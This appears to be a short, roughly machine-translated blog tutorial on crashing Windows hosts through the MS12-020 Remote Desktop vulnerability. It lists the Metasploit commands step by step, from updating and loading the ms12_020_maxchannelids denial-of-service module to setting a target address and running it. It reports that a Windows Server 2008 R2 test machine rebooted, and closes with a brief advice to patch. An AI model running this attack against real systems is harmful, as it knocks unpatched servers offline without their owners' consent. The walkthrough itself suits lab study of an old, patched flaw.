A vulnerability has recently appeared that affects Windows and its implementation of RDP protocol (Remote Desktop Protocol)
As expected, there are already multiple news items with the exploit, pastebins, etc. to exploit this vulnerability and, of course, metasploit already has said exploit included.
First we have to update metasploit:
msfupdate
Once we update. We access and load the module.
We start:
msfconsole
We load the module
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
If we want to see the module information
How can we have two options, the address and the destination port. We add it:
set RHOST 192.168.1.198
and only high execute the exploit.
run
If we look at the operating system in which we have carried out the attack (In this case Windows Server 2008 R2) we see that it has been restarted.
*GRADES:
To say that all the patches are already found to solve this vulnerability and it is advisable to update as soon as possible.
More information:
Comments